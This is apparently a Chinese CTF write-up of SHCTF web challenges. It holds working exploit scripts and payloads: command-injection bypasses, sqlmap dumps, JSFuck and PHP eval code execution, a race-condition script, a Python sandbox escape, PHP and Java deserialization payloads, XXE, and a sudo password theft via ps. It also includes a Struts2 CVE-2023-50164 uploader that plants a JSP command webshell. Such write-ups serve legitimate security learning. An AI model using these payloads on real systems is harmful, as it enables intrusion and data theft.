命令替换 (nl): cat 被禁,使用 nl (添加行号打印) 作为替代命令读取文件。
通配符 (?): flag 关键字被禁,使用 /fl?g 匹配文件名,成功绕过正则检测。
尝试读取文件时发现 cat 和 flag 关键字被过滤,构建绕过 Payload。
最终 Payload:
127.0.0.1&&nl /fl?g

SHCTF{56f291d6-0fbf-4b30-a79d-6d1c805e8e44}
上古遗迹档案馆


SQL注入漏洞
sqlmap跑
确认 id 参数是否存在注入漏洞,并探测数据库类型。
sqlmap -u "http://challenge.shc.tf:31316/?id=1" --batch

存在漏洞
获取数据库名称
sqlmap -u "http://challenge.shc.tf:31316/?id=1" --dbs

看看ctftraining 库:
sqlmap -u "http://challenge.shc.tf:31316/?id=1" -D ctftraining --tables --batch

使用以下命令将 ctftraining 数据库中 FLAG_TABLE 表的数据 Dump 出来
sqlmap -u "http://challenge.shc.tf:31316/?id=1" -D ctftraining -T FLAG_TABLE --dump --batch

假的
跑之前发现的那个 archive_db 数据库:
sqlmap -u "http://challenge.shc.tf:31316/?id=1" -D archive_db --dump --batch

SHCTF{f2ba0ceb-1e4f-48eb-a40d-8829da428f02}
calc?js?fuck!

页面是一个计算器

漏洞分析
漏洞点:后端代码直接使用了 eval(operator) 执行用户输入。

限制 (WAF):正则 /^[012345679!.-+*/()[]]+$/ 限制了输入字符。
禁用了字母、引号、大括号等。
允许了 []()!+,这正是 JSFuck 语言的核心字符集。
环境:Node.js (Express)。
绕过
JSFuck 编码:利用 JSFuck 将任意 JavaScript 代码转换为符合 WAF 要求的符号组合。
作用域限制 (require 报错):
直接使用 require 会报错 ReferenceError: require is not defined,因为 JSFuck 的 Eval Source 模式是在全局作用域下执行,无法访问模块私有的 require。
绕过方案:使用 Node.js 的全局对象 process,通过 process.mainModule.require 来引入模块。
Payload
我们需要执行系统命令读取 /flag 并返回结果。
return process.mainModule.require('child_process').execSync('cat /flag').toString()
JSFuck 编码
转换就行JSFuck – Write any JavaScript with 6 Characters: []()!+

手动解就是这个样
使用 Postman 或 Python 发送一个 POST 请求到 http://challenge.shc.tf:31395/calc。
Header: Content-Type: application/json
Body: {"expr": "字符串"}
exp.py
import requests
url = "http://challenge.shc.tf:31395/calc"
with open('payload.txt', 'r') as f:
payload = f.read().strip()
res = requests.post(url, json={"expr": payload})
print(res.json())

SHCTF{46c8c4c3-8c8a-4c15-958a-3e9adf9379f6}
05_em_v_CFK

看源码,有提示

5bvE5YvX5Ylt5YdT5Yvdp2uyoTjhpTujYPQyhXoxhVcmnT935L+P5cJjM2I05oPC5cvB55dR5Mlw6LTK54zc5MPa
先rot13在base64就行

我上传了个shell.php, 带上show参数get小明的圣遗物吧
访问就行
http://xxx.xx.xx:xxxxx/uploads/shell.php?show

这是一个简单的后门。

认证密码:c4d038b4bed09fdb1471ef51ec3a32cd 解密为 114514。
利用方式:POST 请求发送 key=114514,配合 cmd (系统命令) 或 code (PHP代码) 参数。
拿到 Shell 后,第一件事是寻找 Flag 的位置。
POST /uploads/shell.php
key=114514&cmd=ls /
key=114514&cmd=find / -name "flag*"
失败


根目录下无 Flag 文件,全盘搜索也无果。说明 flag 不在文件系统中,很可能在数据库里。
当前目录结构
key=114514&cmd=ls ../

读取 index.php 源码
key=114514&cmd=base64 ../index.php


核心逻辑分析:
$stmt = $pdo->prepare("CALL buy_item(?, ?)");
$stmt->execute([$target_id, $my_money]);
这里发现了一个关键的逻辑漏洞:
后端调用了一个名为 buy_item 的存储过程。传递的参数是 ($target_id, $my_money)。这里的 $my_money 是 PHP 变量。虽然正常用户只能是 3 块钱,但既然我们有了 Webshell,我们可以直接调用这个存储过程,并传入任意金额。
flag 获取
调用 buy_item 存储过程,买下 ID 为 3 的 “Golden Flag”(价格 $50)。
尝试直接读取数据库表 (权限不足)
key=114514&code=include('../connect.php'); var_dump($pdo->query("SELECT * FROM flag")->fetchAll());

调用存储过程 (数值溢出报错)
key=114514&code=include('../connect.php'); var_dump($pdo->query("CALL buy_item(3, 999999999)")->fetchAll());

报错 Numeric value out of range。说明数据库字段存不下这么大的数字。
最终 Payload
既然商品只需 $50,我们传入 $50 即可通过检查。
key=114514&code=include('../connect.php');var_dump($pdo->query("CALL buy_item(3, 50)")->fetchAll());
原理:
include('../connect.php');:利用现成的文件建立数据库连接对象 $pdo,无需知道数据库密码。
CALL buy_item(3, 50):手动调用存储过程,购买 ID 3 的商品,并欺骗数据库说我有 50 块钱。

SHCTF{ef7b6eba-f0c7-4b8c-b491-d542ffd79471}
kill_king

前端逻辑分析与绕过
代码审计
打开题目后是一个点击游戏。通过查看网页源码(或 F12 查看 logic.js),我们关注游戏获胜后的逻辑处理。
在 logic.js 中找到核心战斗函数 punch(),其中包含如下代码段:

if (_this.boss) {
_this.gamewin = true;
// 关键点在这里
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
// ...
}
漏洞分析
这里的漏洞属于典型的 Client-Side Trust(客户端信任) 问题。 服务器端文件 check.php 似乎完全信任前端发送的数据。它并没有校验玩家是否真的击败了 Boss、攻击力数值是否合法或游戏时长是否合理,它仅仅是判断它是否收到了 result=win 的 POST 请求。
获取源码
我们不需要真正去玩游戏,直接在浏览器的控制台中模拟发送这个请求即可。
fetch('check.php', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(r => r.text())
.then(console.log);

一段高亮的 PHP 源代码
后端 PHP 代码审计
源码如下:
<?php
// ...
if (isset($_POST['result']) && $_POST['result'] === 'win') {
highlight_file(__FILE__);
// 需要传入三个 GET 参数
if(isset($_GET['who']) && isset($_GET['are']) && isset($_GET['you'])){
$who = (String)$_GET['who'];
$are = (String)$_GET['are'];
$you = (String)$_GET['you'];
// 限制 1: who 和 are 必须是数字
if(is_numeric($who) && is_numeric($are)){
// 限制 2: you 必须全是“非单词字符”(不能包含 A-Z, a-z, 0-9, _)
if(preg_match('/^W+$/', $you)){
// 漏洞点: 拼接执行
$code = eval("return $who$you$are;");
echo "$who$you$are = ".$code;
}
}
}
}
// ...
?>
限制条件分析
输入点:who、are、you 三个参数。
数字限制:who 和 are 只能是数字(例如 1)。
正则限制:preg_match('/^W+$/', $you)。W 代表非单词字符。这意味着 $you 参数中不能出现任何字母、数字和下划线。
执行点:eval("return $who$you$are;");。这是一个代码执行漏洞。
构造思路
我们需要执行 system('cat /flag'),但 system、cat、flag 都是字母,会被正则拦截。
使用 PHP 取反绕过技术。 在 PHP 中,我们可以对字符串进行按位取反操作。例如 ~"system" 会变成一串不可见的乱码(高位字符)。这些乱码不属于 [a-zA-Z0-9_],因此可以绕过 W 正则。 当 PHP 执行 (~"乱码") 时,它会还原回 "system"。
服务器端的拼接逻辑是:return $who$you$are;。 假设我们设置 $who=1, $are=1。 如果我们直接构造 $you 为 (~"system")(~"ls"),拼接后的代码是:
return 1(~"system")(~"ls")1;
这会导致 Parse error(语法错误),因为 PHP 认为你试图把数字 1 当作函数名来调用。
解决方法: 我们需要利用连接符 .(点号),将前后连接起来。name 中的 . 也是非单词字符,符合正则。 构造目标结构:
return 1 . (~"system")(~"ls") . 1;
Payload
const payload = "%20.%20(~%22%8C%86%8C%8B%9A%92%22)(~%22%9C%9E%8B%DF%D0%99%93%9E%98%22)%20.%20";
const url = `check.php?who=1&are=1&you=${payload}`;
fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'result=win'
})
.then(response => response.text())
.then(console.log);
POST 数据:携带 result=win 欺骗服务器通过第一层校验。
取反编码:将 system 和 cat /flag 进行按位取反,生成形如 %8C%86... 的编码。
Payload 拼接:构造 you 参数,关键在于前后的 %20.%20。这使得后端的 eval 执行的是 return 1 . system(...) . 1;。
GET 请求:将 who=1, are=1, 和构造好的 you 拼接到 URL 中发送。

exp.py
import requests
url = "http://challenge.shc.tf:31142/check.php"
def encode_bitwise(s):
return "".join(f"%{(~ord(c)) & 0xFF:02X}" for c in s)
func = encode_bitwise("system")
cmd = encode_bitwise("cat /flag")
payload = f"%20.%20(~%22{func}%22)(~%22{cmd}%22)%20.%20"
query = f"who=1&are=1&you={payload}"
target = f"{url}?{query}"
try:
response = requests.post(
target,
data={"result": "win"},
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
print(response.text)
except Exception as e:
print(e)
SHCTF{8eec159f-6e5c-441b-9f0e-2c994e35b3d9}
ez_race

题目给的有源码

本题是一个典型的 条件竞争 漏洞,具体的类型为 TOCTOU 。

业务逻辑
目标:购买 Flag 需要 50 金额。
初始状态:用户重置后金额为 0(虽然 apps.py 初始化为 10,但 reset_view 会清零)。
限制:充值功能 每次只能充 10 元,且限制每个用户只能领取一次“新人红包”。
漏洞点源码分析:漏洞出现在充值检查与实际入账之间的时间差上。
检查阶段 (forms.py): 在 clean_amount 方法中,系统检查了用户是否已经存在充值记录。
# forms.py
def clean_amount(self):
amount = self.cleaned_data["amount"]
# 漏洞点:先检查数据库中是否存在记录
if models.RechargeLog.objects.filter(user=self.user).exists():
raise forms.ValidationError("已领取过新人红包")
if amount > 10:
raise forms.ValidationError("超出红包金额上限")
return amount
执行阶段 (views.py):只有通过了 Form 验证,才会进入 form_valid 执行入账和写入日志的操作。
# views.py
def form_valid(self, form):
amount = form.cleaned_data["amount"]
with transaction.atomic():
user = models.User.objects.get(pk=self.request.user.pk)
user.money = F('money') + amount
user.save()
# 写入记录是在这里发生的
models.RechargeLog.objects.create(user=user, amount=amount)
return redirect(self.get_success_url())
攻击原理
由于 Django 的 FormView 是先执行 clean (验证),验证通过后再执行 form_valid (入库)。 当我们使用高并发(多线程)同时发送多个充值请求时:
线程 A 执行 clean_amount,查询数据库发现没有 RechargeLog,验证通过。
在线程 A 写入日志之前,线程 B 也执行了 clean_amount,此时数据库仍无记录,验证也通过。
线程 A 和 线程 B 随后依次进入 form_valid,分别为账户增加 10 元。
通过控制并发,我们可以让 5 个线程同时突破检查,将余额刷到 50 元,从而购买 Flag。
线程不能多 否则环境直接崩 线程少了解不出一直卡在40元 然后发现只有5线程才可以
exp.py
import requests
import threading
import re
import time
BASE_URL = "http://challenge.shc.tf:32005"
LOGIN_URL = f"{BASE_URL}/accounts/login/"
RECHARGE_URL = f"{BASE_URL}/recharge"
BUY_FLAG_URL = f"{BASE_URL}/buy/flag"
RESET_URL = f"{BASE_URL}/reset"
STATUS_URL = f"{BASE_URL}/status"
USERNAME = "player@example.com"
PASSWORD = "player"
THREAD_COUNT = 5
session = requests.Session()
barrier = threading.Barrier(THREAD_COUNT)
def get_csrf_token(url):
try:
resp = session.get(url)
match = re.search(r'name="csrfmiddlewaretoken" value="(.+?)"', resp.text)
if match:
return match.group(1)
except Exception as e:
pass
return None
def login():
print("[*] 正在登录...")
csrf_token = get_csrf_token(LOGIN_URL)
if not csrf_token:
print("[-] CSRF Token 获取失败")
return False
data = {
"csrfmiddlewaretoken": csrf_token,
"username": USERNAME,
"password": PASSWORD
}
resp = session.post(LOGIN_URL, data=data)
if resp.status_code == 302 or "注销" in resp.text or "退出" in resp.text:
print("[+] 登录成功")
return True
return False
def reset_account():
print("[*] 重置账户状态 (清空余额和日志)...")
session.get(RESET_URL)
def attack_recharge(csrf_token):
data = {
"csrfmiddlewaretoken": csrf_token,
"amount": 10
}
try:
barrier.wait()
except threading.BrokenBarrierError:
pass
try:
session.post(RECHARGE_URL, data=data)
except:
pass
def main():
if not login():
return
for i in range(1, 11):
print(f"n--- 第 {i} 次尝试竞争 ---")
reset_account()
csrf_token = get_csrf_token(RECHARGE_URL)
if not csrf_token:
continue
barrier.reset()
threads = []
for _ in range(THREAD_COUNT):
t = threading.Thread(target=attack_recharge, args=(csrf_token,))
threads.append(t)
t.start()
for t in threads:
t.join()
try:
resp = session.get(STATUS_URL)
balance = int(resp.text)
print(f"[+] 当前余额: {balance}")
if balance >= 50:
print("n[!] 余额充足! 正在购买 Flag...")
flag_resp = session.get(BUY_FLAG_URL)
print("=" * 50)
print(flag_resp.text)
print("=" * 50)
break
else:
print("[-] 竞争失败 (余额未达50),正在重试...")
except Exception as e:
print(f"[-] 检查余额出错: {e}")
if __name__ == "__main__":
main()

SHCTF{c0ndITl0N_RACE_I$_dAngeR#U$_pH#R_dj4N6#}
Eazy_Pyrunner


观察 URL 参数 ?file=pages/about.html,存在明显的文件包含漏洞。 直接访问 /?file=app.py 读取后端源码

发现核心逻辑在 /execute 接口,存在严格的沙箱限制。
漏洞分析
源码显示有三重防护:
WAF: 过滤了 import, os, sys, open, read, flag 以及单双引号 ' "。
模块污染: sys.modules['os'] = 'not allowed',导致直接导入 os 失败。
Audit Hook: 使用 sys.addaudithook 注册了一个审计钩子,检测到任何事件(len(event) > 0)都会抛出异常,阻止代码执行。
绕过思路
绕过 Audit Hook (核心): Hook 函数内部调用了 len()。利用 Python 的 LEGB 规则,在局部作用域重定义 len = lambda x: 0。当 Hook 触发时,会优先使用我们定义的“假 len”,从而绕过长度检查。
绕过 WAF: 无法使用引号,利用 chr() 函数动态拼接字符串构造敏感词(如 os, sys)。无法直接写关键字,通过 globals() 和 getattr() 获取对象。
修复环境: 获取 sys.modules,从中删除被污染的 'os' 键,然后通过 __builtins__.__import__ 重新加载真正的 os 模块。
提权获取 Flag: 发现根目录下存在 SUID 程序 /read_flag,通过 os.popen('/read_flag') 执行获取 Flag。
Payload 构造
定义 len 返回 0。
利用 chr() 拼凑字符串。
清理 sys.modules 并重载 os。
执行 /read_flag 并读取输出。
exp.py
import requests
import os
url = "http://challenge.shc.tf:30589/execute"
os.environ['HTTP_PROXY'] = ''
os.environ['HTTPS_PROXY'] = ''
os.environ['ALL_PROXY'] = ''
def c(s):
return "+".join([f"chr({ord(i)})" for i in s])
def exp():
s_blt = c("__builtins__")
s_imp = c("__import__")
s_sys = c("sys")
s_mod = c("modules")
s_os = c("os")
s_pop = c("popen")
s_rd = c("read")
s_cmd = c("/read_flag")
payload = f"""
len=lambda x:0
is_my_love_event=lambda x:True
g=globals()
b=g[{s_blt}]
s=g[{s_sys}]
getattr(s,{s_mod}).pop({s_os})
ri=getattr(b,{s_imp})
o=ri({s_os})
p=getattr(o,{s_pop})({s_cmd})
res=getattr(p,{s_rd})()
print(res)
"""
try:
res = requests.post(url, json={'code': payload.strip()}, timeout=30, proxies={"http":None,"https":None})
print(res.json().get('stdout', 'No output'))
except Exception as e:
print(e)
if __name__ == "__main__":
exp()

SHCTF{c44a7a38-e8dc-4268-b472-6d5606c6091f}
Ezphp


入口点:
题目通过 POST 接收参数 travel,然后进行反序列化:
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}
难点:unserialize 之后紧接着抛出了一个 Exception。通常情况下,PHP 脚本未正常结束(被异常中断)时,对象的 __destruct 析构函数可能不会按照预期执行,或者无法看到输出。我们需要一种方法让 __destruct 在 throw new Exception 之前执行。
解决办法(GC 提前回收):
利用数组索引覆盖的技巧。如果我们构造一个数组 a:2:{i:0;O:3:"Sun"...;i:0;N;},当反序列化解析第二个 i:0 时,会将第一个 i:0 位置的对象覆盖(移除引用)。此时该对象的引用计数归零,PHP 的垃圾回收机制(GC)会立即销毁该对象,从而触发 __destruct。
POP 链代码审计
我们需要从 __destruct 开始,一步步寻找利用链。
起点 Sun::__destruct
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
$this->sun 被连接到字符串中,如果 $this->sun 是一个对象,会触发该对象的 __toString 方法。
寻找含有 __toString 的类。
跳板 Moon::__toString
class Moon{
public $nearside;
public function __tostring(){
$starship = $this->nearside;
$starship(); // 当作函数调用
return '';
}
}
这里将 $this->nearside 当作函数调用。如果 $this->nearside 是一个对象,会触发 __invoke 方法。
目标: 寻找含有 __invoke 的类。
跳板 Earth::__invoke
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote; // 给不可访问或不存在的属性赋值
}
}
这里执行了 $oe->$ie = $ote。即 $Object->Property = Value。
如果我们控制 $oe 为一个对象,且 $ie 是该对象中不存在或私有的属性,就会触发 __set 方法。
目标: 寻找含有 __set 的类。
核心逻辑 Solar::__set
class Solar{
// ...
public function __set($name,$key){
$this->Mars = $key; // $key 来自 Earth 的 $outofearth ("/flag")
$Dyson = $this->Mercury; // 内部对象
$Sphere = $this->Venus; // 方法名
$Dyson->$Sphere($this->Mars);// 动态方法调用
}
// ...
}
这里我们控制 $this->Mercury 为另一个 Solar 对象(我们称之为 Inner Solar),控制 $this->Venus 为一个不存在的方法名(例如 SplFileObject,虽是类名但在此处被视为方法名调用)。
当调用不存在的方法时,会触发 $Dyson (Inner Solar) 的 __call 方法。
终点 Solar::__call (执行命令/读取文件)
public function __call($func,$args){
// WAF 检查:不能包含 system, exec 等命令执行函数
if(!preg_match("/exec|.../i", $args[0])){
// $func 是方法名(来自上一步的 $Sphere,即 "SplFileObject")
// $args[0] 是参数(来自上一步的 $this->Mars,即 "/flag")
$exploar = new $func($args[0]); // 相当于 new SplFileObject("/flag")
$road = $this->Jupiter; // 方法名
$exploar->$road($this->Saturn); // 调用方法
}
else{
die("Black hole");
}
}
利用逻辑:
绕过 WAF:我们要读 /flag,文件名不包含黑名单关键字。
实例化:new SplFileObject("/flag")。SplFileObject 是 PHP 原生类,用于文件操作。
调用方法:$exploar 现在是一个文件对象。我们需要把文件内容打印出来。
SplFileObject 继承自 SplFileInfo,且自身拥有 fpassthru() 方法(将文件指针之后的所有数据输出到输出缓冲区)。
设置 $this->Jupiter = "fpassthru"。
$this->Saturn 可以为 null。
构造思路总结
Inner Solar ($Dyson):
Jupiter = “fpassthru”
Saturn = null
Outer Solar ($oe):
Mercury = Inner Solar 对象
Venus = “SplFileObject” (触发 Inner Solar 的 __call 并作为类名实例化)
Earth ($nearside):
onearth = Outer Solar 对象
inearth = “flag” (随意属性名,触发 __set)
outofearth = “/flag” (作为参数传递给 SplFileObject)
Moon ($sun):
nearside = Earth 对象
Sun (入口):
sun = Moon 对象
GC 绕过数组:
array(0 => Sun对象, 0 => null)
Payload
exp.php
<?php
class Sun {
public $sun;
}
class Moon {
public $nearside;
}
class Earth {
public $onearth;
public $inearth;
public $outofearth;
}
class Solar {
public $Mercury;
public $Venus;
public $Jupiter;
public $Saturn;
public $Mars;
}
$innerSolar = new Solar();
$innerSolar->Jupiter = "fpassthru";
$innerSolar->Saturn = null;
$outerSolar = new Solar();
$outerSolar->Mercury = $innerSolar;
$outerSolar->Venus = "SplFileObject";
$earth = new Earth();
$earth->onearth = $outerSolar;
$earth->inearth = "flag";
$earth->outofearth = "/flag";
$moon = new Moon();
$moon->nearside = $earth;
$sun = new Sun();
$sun->sun = $moon;
$sun_serialized = serialize($sun);
$payload = 'a:2:{i:0;' . $sun_serialized . 'i:0;N;}';
echo "生成的 Payload:nn";
echo $payload;
echo "nnURL Encoded:n";
echo urlencode($payload);
?>

a:2:{i:0;O:3:"Sun":1:{s:3:"sun";O:4:"Moon":1:{s:8:"nearside";O:5:"Earth":3:{s:7:"onearth";O:5:"Solar":5:{s:7:"Mercury";O:5:"Solar":5:{s:7:"Mercury";N;s:5:"Venus";N;s:7:"Jupiter";s:9:"fpassthru";s:6:"Saturn";N;s:4:"Mars";N;}s:5:"Venus";s:13:"SplFileObject";s:7:"Jupiter";N;s:6:"Saturn";N;s:4:"Mars";N;}s:7:"inearth";s:4:"flag";s:10:"outofearth";s:5:"/flag";}}}i:0;N;}
URL Encoded:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22Sun%22%3A1%3A%7Bs%3A3%3A%22sun%22%3BO%3A4%3A%22Moon%22%3A1%3A%7Bs%3A8%3A%22nearside%22%3BO%3A5%3A%22Earth%22%3A3%3A%7Bs%3A7%3A%22onearth%22%3BO%3A5%3A%22Solar%22%3A5%3A%7Bs%3A7%3A%22Mercury%22%3BO%3A5%3A%22Solar%22%3A5%3A%7Bs%3A7%3A%22Mercury%22%3BN%3Bs%3A5%3A%22Venus%22%3BN%3Bs%3A7%3A%22Jupiter%22%3Bs%3A9%3A%22fpassthru%22%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3B%7Ds%3A5%3A%22Venus%22%3Bs%3A13%3A%22SplFileObject%22%3Bs%3A7%3A%22Jupiter%22%3BN%3Bs%3A6%3A%22Saturn%22%3BN%3Bs%3A4%3A%22Mars%22%3BN%3B%7Ds%3A7%3A%22inearth%22%3Bs%3A4%3A%22flag%22%3Bs%3A10%3A%22outofearth%22%3Bs%3A5%3A%22%2Fflag%22%3B%7D%7D%7Di%3A0%3BN%3B%7D
解析流程:
a:2:{i:0;O:3:"Sun"...: PHP 开始反序列化数组,索引 0 被赋值为 Sun 对象。
此时,Sun 对象及其内部嵌套的 Moon, Earth, Solar (Outer), Solar (Inner) 全部被创建在内存中。
i:0;N;}: PHP 解析到数组的第二个元素,索引依然是 0,值为 NULL (N)。
关键点: PHP 将索引 0 的值从 Sun 对象更新为 NULL。
GC 触发: 此时,内存中的那个 Sun 对象没有任何变量引用它了。PHP 的垃圾回收机制(Garbage Collection)立即介入,销毁 Sun 对象。
执行析构: Sun 对象销毁前,__destruct() 被调用。
Sun -> echo Moon
Moon -> Earth()
Earth -> OuterSolar->flag = "/flag"
OuterSolar -> InnerSolar->SplFileObject("/flag") (调用不存在的方法触发 call)
InnerSolar -> new SplFileObject("/flag") -> fpassthru()
flag 被输出!

SHCTF{8d65f55d-4ac8-472d-8dcd-4ea9336fd66f}
阶段2
Go

考点:
- WAF 规则缺陷(正则匹配/大小写绕过)
- Go 语言
encoding/json解析特性
将请求体 JSON 中的键名 role 修改为大写 Role。
原理分析:
WAF 层(拦截失败):
WAF(防火墙)的规则通常是写死的。它可能设置了针对 JSON 内容的正则匹配,专门拦截键值对 "role": "admin"。当你把键名改成 "Role" 时,WAF 认为这不是它要拦截的敏感字段,因此放行。
后端 Go 语言层(解析成功):
Go 语言的标准库 encoding/json 在将 JSON 数据解析(Unmarshal)到结构体(Struct)时,是大小写不敏感的。
即便后端结构体定义的是 role,它也能识别并正确解析传入的 Role 字段。

SHCTF{dfa548d6-24fa-4fc0-bbe2-e9ef23ad0956}
Mini Blog
XXE , XML 外部实体注入

看源码

var xmlData = '<?xml version="1.0" encoding="UTF-8"?><post><title>' + title + '</title><content>' + content + '</content></post>';
fetch('/create', {
method: 'POST',
headers: { 'Content-Type': 'application/xml; charset=utf-8' },
body: xmlData
})
前端代码将用户的输入拼接成了 XML 格式并发送给后端。如果后端在解析这段 XML 时没有禁用“外部实体”加载,攻击者就可以构造特殊的 XML 来读取服务器上的文件(如 /flag)。
在网页上随便填点内容,点击“立即发布”,使用 Burp Suite 拦截该请求,修改就行
在 XML 的头部插入 DTD 定义,利用 SYSTEM 关键字读取本地文件 /flag,并在 <title> 标签中引用该实体。
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<post>
<title>&xxe;</title>
<content>test</content>
</post>

SHCTF{a279a292-8df0-4db0-9564-2ac2c7b8b801}
阶段3
你也懂java?


Java 反序列化漏洞。
核心逻辑 (handle 方法):
// 1. 读取请求体数据流
try (ObjectInputStream ois = new ObjectInputStream(exchange.getRequestBody())) {
// 2. 直接反序列化对象
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
// 3. 如果反序列化出的对象 filePath 不为空,则读取该文件并返回内容
if (note.getFilePath() != null) {
echo(readFile(note.getFilePath())); // 任意文件读取点
}
}
}
利用思路:
服务端没有对反序列化类进行黑白名单过滤。
Note 类实现了 Serializable 接口,且包含 filePath 字段。
我们构造一个恶意的 Note 对象,将 filePath 设置为 /flag.txt。
将该对象序列化为二进制流,通过 POST 发送给服务端。
服务端反序列化后会触发 readFile,将 Flag 打印出来。
exp.py
import requests
import struct
url = "http://challenge.shc.tf:32063/upload"
def pwn():
paths = ["/flag.txt", "/flag"]
header = bytes.fromhex("aced0005")
class_desc = bytes.fromhex("737200044e6f74650000000000000001020003")
fields = bytes.fromhex("4c000866696c65506174687400124c6a6176612f6c616e672f537472696e673b4c00076d65737361676571007e00014c00057469746c6571007e0001")
footer = bytes.fromhex("7870")
for path in paths:
try:
b_path = path.encode()
val_path = b'x74' + struct.pack('>H', len(b_path)) + b_path
b_dummy = b'x'
val_dummy = b'x74' + struct.pack('>H', len(b_dummy)) + b_dummy
payload = header + class_desc + fields + footer + val_path + val_dummy + val_dummy
res = requests.post(url, data=payload, timeout=3)
if "SHCTF" in res.text:
print(res.text.strip())
break
except:
pass
if __name__ == "__main__":
pwn()

SHCTF{b88fe63f-4985-4dfe-bcff-bf7e4a93c210}
sudoooo0


网页没有东西无影扫描目录

发现webshell.php
访问后页面空白
通过 Fuzz 或猜测,确定参数名为 cmd。直接传入系统命令(如 id)报错 Parse error,说明后端逻辑是 eval($_GET['cmd']),需要传入 PHP 代码。
curl "http://challenge.shc.tf:32004/webshell.php?cmd=id"

Payload 构造: 使用 PHP 的 system() 函数执行系统命令。
http://challenge.shc.tf:32004/webshell.php?cmd=system('id');

题目名暗示与 Sudo 有关。尝试检查 Sudo 权限:
http://challenge.shc.tf:32004/webshell.php?cmd=system(%27sudo%20-l%202%3E&1%27);

Webshell 的 system() 函数是在非交互式环境下运行的,没有分配 TTY(终端),而 Sudo 配置要求必须有 TTY。我们需要想办法绕过这个限制。
查看目录
curl "http://challenge.shc.tf:32004/webshell.php?cmd=system('ls%20-la%20/');"

看不了flag
查看系统启动脚本,寻找环境配置线索:
curl "http://challenge.shc.tf:32004/webshell.php?cmd=system('cat%20/docker-entrypoint.sh');"

发现关键逻辑: 脚本中生成了一个随机密码 NEWPASS,然后启动了一个后台进程:
su - ctf -c "nohup script ... 'bash -li -c "echo ${NEWPASS} | sudo -S -v ..."' ..."
漏洞点: 密码被直接拼接到了命令行参数中。在 Linux 中,任何用户都可以通过 ps 命令查看所有进程的完整启动命令,从而窃取密码。
获取 Sudo 密码
执行 ps -ef 列出所有进程:
curl "http://challenge.shc.tf:32004/webshell.php?cmd=system('ps%20-ef');"

script -q -f -c bash -li -c "echo qr4T | sudo -S -v >/dev/null 2>&1;
获得密码qr4T
伪造 TTY 并获取 Flag
现在我们有了密码 qr4T,但仍然面临 must have a tty 的报错。
解决方案: 利用 script 命令。script 用于录制终端会话,它在执行时会分配一个伪终端(PTY)。我们可以用它来包裹 sudo 命令,骗过 Sudo 的检查。
最终 Payload 构造:
使用 script -q -c "..." /dev/null 伪造 TTY。
内部使用 echo 密码 | sudo -S 命令 进行非交互式提权。
curl "http://challenge.shc.tf:32004/webshell.php?cmd=system('script%20-q%20-c%20%22echo%20qr4T%20|%20sudo%20-S%20cat%20/flag%22%20/dev/null');"

SHCTF{$Ud#_T0keN_Inj3CT1#n_pwnEd_20ZS}
BabyJavaUpload

漏洞点分析
本题的漏洞点在于 Apache Struts2 的文件上传逻辑缺陷,即 CVE-2023-50164 (S2-066)。该漏洞允许攻击者通过在 multipart/form-data 请求中操纵参数(如 myfileFileName),绕过路径遍历限制。由于 Struts2 在处理上传参数时存在优先级或大小写处理不当的问题,攻击者可以利用首字母大写的参数名(如 Myfile)配合路径穿越参数,将恶意 JSP 文件(Webshell)写入服务器的 Web 根目录(如 Tomcat 的 webapps/ROOT/)。
解题步骤
框架识别:通过 upload.action 后缀以及题目描述中对 Java 安全性的暗示,确认后端使用 Struts2 框架。
环境确认:响应头显示后端为 Apache Tomcat/8.5.81,由于题目提示 flag 在根目录,目标是利用路径穿越将 Webshell 写入 webapps/ROOT/。
漏洞利用:构造特殊的 multipart 请求,包含文件字段 Myfile 和路径覆盖字段 myfileFileName。
获取 Flag:访问上传成功的 backdoor.jsp,通过执行系统命令读取根目录下的 flag 文件。
exp.py
import requests
from requests_toolbelt import MultipartEncoder
url = "http://challenge.shc.tf:30876/upload.action"
shell_url = "http://challenge.shc.tf:30876/backdoor.jsp"
jsp_code = b'''<%
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", request.getParameter("cmd")});
java.io.InputStream in = p.getInputStream();
int c; while ((c = in.read()) != -1) out.write(c);
%>'''
m = MultipartEncoder(
fields={
"Myfile": ("test.txt", jsp_code, "text/plain"),
"myfileFileName": "../../webapps/ROOT/backdoor.jsp"
}
)
requests.post(url, data=m, headers={"Content-Type": m.content_type}, proxies={"http": None})
res = requests.get(shell_url, params={"cmd": "cat /flag*"}, proxies={"http": None})
print(res.text.strip())

SHCTF{001fadfa-cff6-45c5-81e2-48f55aa95e2f}
osint(0)
我说真的我的世界找坐标,出的题目不好,只是建议,有好多不玩我的世界,所以基本直接就0没有解,希望下次不要有这个题了

总结
题目难度适中 还行,后面还是没有时间做了 主要是临近春节,后面没有时间做








